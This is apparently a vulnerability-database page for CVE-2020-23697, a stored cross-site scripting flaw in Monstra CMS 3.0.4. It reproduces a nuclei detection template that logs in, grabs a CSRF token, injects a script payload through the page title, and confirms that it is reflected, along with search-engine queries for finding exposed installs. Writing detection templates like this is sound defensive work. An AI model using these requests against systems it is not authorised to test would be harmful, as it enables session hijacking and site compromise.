Lucene search
K

Monstra CMS 3.0.4 - Cross-Site Scripting

🗓️ 30 Jun 2026 04:56:11Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 29 Views

Monstra CMS 3.0.4 - Cross-Site Scripting vulnerability in page featur

Related
Refs
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2020-23697
7 Jul 202100:37
circl
CNNVD
Monstra CMS 跨站脚本漏洞
6 Jul 202100:00
cnnvd
CNVD
Monstra CMS Cross-Site Scripting Vulnerability (CNVD-2021-49037)
7 Jul 202100:00
cnvd
CVE
CVE-2020-23697
6 Jul 202120:50
cve
Cvelist
CVE-2020-23697
6 Jul 202120:50
cvelist
EUVD
EUVD-2020-16439
7 Oct 202500:30
euvd
NVD
CVE-2020-23697
6 Jul 202121:15
nvd
OpenVAS
Monstra CMS <= 3.0.4 Multiple Vulnerabilities
29 May 201800:00
openvas
Prion
Cross site scripting
6 Jul 202121:15
prion
RedhatCVE
CVE-2020-23697
22 May 202516:14
redhatcve
Rows per page
id: CVE-2020-23697

info:
  name: Monstra CMS 3.0.4 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    Monstra CMS 3.0.4 contains a cross-site scripting vulnerability via the page feature in admin/index.php. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to the latest version of Monstra CMS or apply the vendor-provided patch to fix the XSS vulnerability.
  reference:
    - https://github.com/monstra-cms/monstra/issues/463
    - https://nvd.nist.gov/vuln/detail/CVE-2020-23697
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2020-23697
    cwe-id: CWE-79
    epss-score: 0.01885
    epss-percentile: 0.76905
    cpe: cpe:2.3:a:monstra:monstra_cms:3.0.4:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 4
    vendor: monstra
    product: monstra_cms
    shodan-query: http.favicon.hash:419828698
    fofa-query: icon_hash=419828698
  tags: cve,cve2020,xss,mostra,mostracms,cms,authenticated,monstra,vuln
variables:
  string: "{{to_lower('{{randstr}}')}}"

http:
  - raw:
      - |
        POST /admin/index.php?id=dashboard HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        login={{username}}&password={{password}}&login_submit=Log+In
      - |
        GET /admin/index.php?id=pages&action=add_page HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
      - |
        POST /admin/index.php?id=pages&action=add_page HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        csrf={{csrf}}&page_title=%22%27%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&page_name={{string}}&page_meta_title=&page_keywords=&page_description=&pages=0&templates=index&status=published&access=public&editor=test&page_tags=&add_page_and_exit=Save+and+Exit&page_date=2023-01-09+18%3A22%3A15
      - |
        GET /{{string}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(header_4, "text/html")'
          - 'status_code_4 == 200'
          - 'contains(body_4, "><script>alert(document.domain)</script>") && contains(body_4, "Monstra")'
        condition: and

    extractors:
      - type: regex
        name: csrf
        group: 1
        regex:
          - 'id="csrf" name="csrf" value="(.*)">'
        internal: true
        part: body
# digest: 4a0a00473045022019c6681e601844273c21cd42ee4ee92169a6fae243b298c9ee0a60d3c39b0330022100fe5f881b21a4b296719b832fd1adb488761bac945d5c000be43a6132391b8549:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Feb 2026 07:00Current
6.7Medium risk
Vulners AI Score6.7
CVSS 23.5
CVSS 3.15.4
EPSS0.01885
29